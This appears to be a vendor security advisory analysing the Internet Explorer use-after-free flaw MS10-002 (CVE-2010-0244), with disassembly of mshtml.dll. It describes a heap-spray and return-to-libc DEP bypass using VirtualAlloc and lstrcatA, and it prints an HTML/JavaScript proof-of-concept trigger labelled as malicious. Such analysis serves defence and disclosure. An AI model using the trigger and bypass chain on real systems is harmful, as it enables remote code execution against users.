In-Depth Analysis of Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability (MS10-002 / CVE-2010-0244)

Table of Contents

Introduction

A vulnerability exists in Microsoft Internet Explorer when processing certain HTML and JavaScript data, which could be exploited to execute arbitrary code via a specially crafted web page.

Tested Versions

The vulnerability was analysed on Windows XP SP3 with Internet Explorer 8 (mshtml.dll version 8.0.6001.18854).

Fixed Versions

This vulnerability was fixed with the MS10-002 security patch.

Technical Details

Microsoft Internet Explorer suffers from a dangling pointer vulnerability due to an invalid handling of “Col” and “Colgroup” elements present in a table.

This specific vulnerability can be triggered by associating the “OnPropertyChange” event of a column with a function that modifies the HTML layout of one of its parents. A reference to an object may stay in memory while the object itself is destroyed. When the pointer is used again, memory corruption occurs.

The vulnerable element is a “CTableLayout” created and initialized in “GetLayoutFromFactory()” (sub_3DA8326E) by the following code:

```
.text:3DA62442          push   158h
.text:3DA62447          push   8
.text:3DA62449          push   _g_hProcessHeap
.text:3DA6244F          call   ebx                        //HeapAlloc(x,x,x)
.text:3DA62451          test   eax, eax
.text:3DA62453          jz     loc_3DB8F6CD
.text:3DA62459          push   [ebp+arg_4]
.text:3DA6245C          mov    ecx, esi
.text:3DA6245E          call   CTableLayout::CTableLayout()
```

A pointer to this element is later used by calling “OnPropertyChange”. For Col, “OnPropertyChange” is specifically handled by “CTableCol::OnPropertyChange()” (sub_3DB38B10 in mshtml.dll):

```
.text:3DE33C36          mov    edi, edi
.text:3DE33C38          push   ebp
.text:3DE33C39          mov    ebp, esp
.text:3DE33C3B          sub    esp, 18h
.text:3DE33C3E          push   esi
.text:3DE33C3F          push   edi
.text:3DE33C40          mov    edi, ecx
.text:3DE33C42          mov    eax, edi
.text:3DE33C44          mov    [ebp+var_14], edi
.text:3DE33C47          call   CTableCell::Table(void)
.text:3DE33C4C          test   eax, eax
.text:3DE33C4E          jz     short loc_3DE33C59
.text:3DE33C50          call   CTable::TableLayoutCache(CLayoutContext *)   //get CTableLayout
```

This function returns a pointer to the corresponding HTML layout which was created above. It is then saved in ESI.

```
.text:3DE33C55                mov     esi, eax
.text:3DE33C57                jmp     short loc_3DE33C5B
…
.text:3DE33C5B loc_3DE33C5B:
.text:3DE33C5B                push    [ebp+arg_8]
.text:3DE33C5E                mov     ecx, edi
.text:3DE33C60                push    [ebp+arg_4]
.text:3DE33C63                push    [ebp+arg_0]
.text:3DE33C66                call    CElement::OnPropertyChange()
```

The problem lies when this specific function is called. This function actually handles any modification applied to the target element. When the HTML layout is deleted by some Javascript code for example, the current "CTableLayout" is destroyed. Its destructor is eventually called by the following functions:

CSpliceTreeEngine::RemoveSplice
CElement::PrivateExitTree
CBase::PrivateRelease
CElement::Passivate
Clayout::Release

```
.text:3DC6AA71 ; int __thiscall CTableLayout___vector deleting destructor_(LPVOID lpMem, char)
.text:3DC6AA71                mov     edi, edi
.text:3DC6AA73                push    ebp
.text:3DC6AA74                mov     ebp, esp
.text:3DC6AA76                push    esi
.text:3DC6AA77                mov     esi, ecx
.text:3DC6AA79                call    CTableLayout::~CTableLayout(void)
.text:3DC6AA7E                test    [ebp+arg_0], 1
.text:3DC6AA82                jz      short loc_3DC6AA93
.text:3DC6AA84                push    esi                          //delete CTableLayout
.text:3DC6AA85                push    0
.text:3DC6AA87                push    _g_hProcessHeap
.text:3DC6AA8D                call    HeapFree(x,x,x)
.text:3DC6AA93
.text:3DC6AA93 loc_3DC6AA93:
.text:3DC6AA93                mov     eax, esi
.text:3DC6AA95                pop     esi
.text:3DC6AA96                pop     ebp
.text:3DC6AA97                retn    4
```

When execution flow returns to CTableCol::OnPropertyChange() ESI points then to invalid data:

```
.text:3DE33CC8                mov     ecx, [esi+130h]              //ecx is incorrect
.text:3DE33CCE                mov     eax, [ecx+eax*4]             //dereference an invalid pointer
.text:3DE33CD1                test    eax, eax
.text:3DE33CD3                mov     [ebp+var_C], eax             //save it to var_C
.text:3DE33CD6                jz      loc_3DE33D6D
.text:3DE33CDC                call    CTableRow::RowLayoutCache(CLayoutContext *)
.text:3DE33CE1                test    eax, eax
.text:3DE33CE3                mov     [ebp+var_18], eax
.text:3DE33CE6                jz      loc_3DE33D6D
.text:3DE33CEC                mov     eax, [ebp+var_C]             //get var_C
.text:3DE33CEF                mov     ecx, [eax]
.text:3DE33CF1                push    eax
.text:3DE33CF2                call    dword ptr [ecx+0DCh]         //redirection of the flow
```

Correctly manipulated this object can be abused to execute arbitrary code while browsing a specially crafted web page.

Exploitation

Successful exploitation of this kind of vulnerabilities relies on allocating a block filled with controlled data precisely where the vulnerable "CTableLayout" was allocated. Tests have shown that this can be achieved by creating multiple styles and changing their styles right after having modified the HTML markup.

The provided exploit sets the type of each style to a large string. An array of at least 134h bytes is then allocated where "CTableLayout" was freed. This occurs in "HeapAllocString()":

```
.text:3DAC9664          push    [ebp+dwBytes]           //dwBytes >= 134h
.text:3DAC9667          push    0
.text:3DAC9669          push    _g_hProcessHeap
.text:3DAC966F          call    HeapAlloc(x,x,x)        //allocate a block precisely where
                                                        //CTableLayout was
.text:3DAC9675          mov     [esi], eax
.text:3DAC9677
.text:3DAC9677 loc_3DAC9677:
.text:3DAC9677          test    eax, eax
.text:3DAC9679          jz      loc_3DCA55D5
.text:3DAC967F          push    [ebp+dwBytes]
.text:3DAC9682          push    [ebp+arg_0]
.text:3DAC9685          push    eax
.text:3DAC9686          call    memcpy                  //copy the new type
```

A crash occurs later in "CTableCol::OnPropertyChange()":

```
.text:3DE33CC8          mov     ecx, [esi+130h]         //ecx can be arbitrarily set
.text:3DE33CCE          mov     eax, [ecx+eax*4]        //dereference a controlled value
.text:3DE33CD1          test    eax, eax
.text:3DE33CD3          mov     [ebp+var_C], eax        //save it to var_C
.text:3DE33CD6          jz      loc_3DE33D6D
.text:3DE33CDC          call    CTableRow::RowLayoutCache(CLayoutContext *)
.text:3DE33CE1          test    eax, eax
.text:3DE33CE3          mov     [ebp+var_18], eax
.text:3DE33CE6          jz      loc_3DE33D6D
.text:3DE33CEC          mov     eax, [ebp+var_C]        //get var_C
.text:3DE33CEF          mov     ecx, [eax]              //dereference a second value
.text:3DE33CF1          push    eax
.text:3DE33CF2          call    dword ptr [ecx+0DCh]    //arbitrary code executed
```

On browsers like IE6 where Data Execution Prevention is not activated by default, execution of arbitrary code is pretty straight, as an attacker just needs to spray memory with valid pointers to get his malicious code executed.

However, DEP is turned on by default with IE8 on Windows XP SP3 which complicates exploitation. The idea in this case is to perform a "return-to-libc" attack to allocate an executable page, copy the payload there, and eventually execute it.

This can be accomplished in a few steps:

1) set ESP to point to the heap spray
2) allocate an executable page
3) copy the payload there
4) execute the payload

This exploit takes advantage of the Kernel32.dll module (version 5.1.2600.5781, XP SP3).

It contains the following code pattern and functions:

```
.text:7C81078C              mov    ecx, [eax+CCh]              //step 1
.text:7C810792              mov    esp, [eax+D8h]
.text:7C810798              jmp    ecx

.text:7C809AF1 ; LPVOID __stdcall VirtualAlloc()              //step 2
.text:7C834D71 ; LPSTR __stdcall lstrcatA()                   //step 3
```

This exploit first sets ESP to point to 0x21212444 which should point inside the spray. The spray is actually composed of blocks of 400h bytes so that a certain alignment is always respected. The first 256 bytes consist of return addresses to the previous steps, and pointers to overwrite the return address in the stack.

It next returns to “VirtualAlloc” with the following arguments:

```
0x35000000 – heap address expected
0x00001000 – size of the page
0x00003000 – MEM_COMMIT + MEM_RESERVE
0x00000040 – PAGE_EXECUTE_READ_WRITE
```

This should allocate a new executable page at 0x30000000. lstrcatA is finally called with a destination pointer set to 0x35000000 and a source pointer set to 0x21212524 which points to the beginning of the shellcode. This method implies that the payload should not contain null bytes. Eventually, the program returns to 0x35000000 and executes the payload despite DEP activated.

Detection

Due to the nature of the bug, we cannot provide a reliable method to detect an attempt to trigger this vulnerability.

However, you can check if an HTML page contains a script which associates the event “OnPropertyChange” of a “Col” or a “Colgroup” element to a function that modifies its layout. Such page might be trying to exploit this vulnerability. For example, the following code is malicious:

```
<html>

<script>
var deleteTable = function() {
   var b;
   b = document.getElementById("b");
   b.innerHTML='';
}
function crash () {
   var column;
   column = document.getElementById('column');
   column.onpropertychange=window.deleteTable;
}
</script>

<body id="b">
<table>
  <colgroup id="column">
</table>
<marquee onstart="crash();">boom</ marquee >
</body>
</html>
```

References

VUPEN/ADV-2010-0187:
http://www.vupen.com/english/advisories/2010/0187

MS10-002:
http://www.microsoft.com/technet/security/bulletin/ms10-002.mspx

Changelog

2010-02-03: Initial release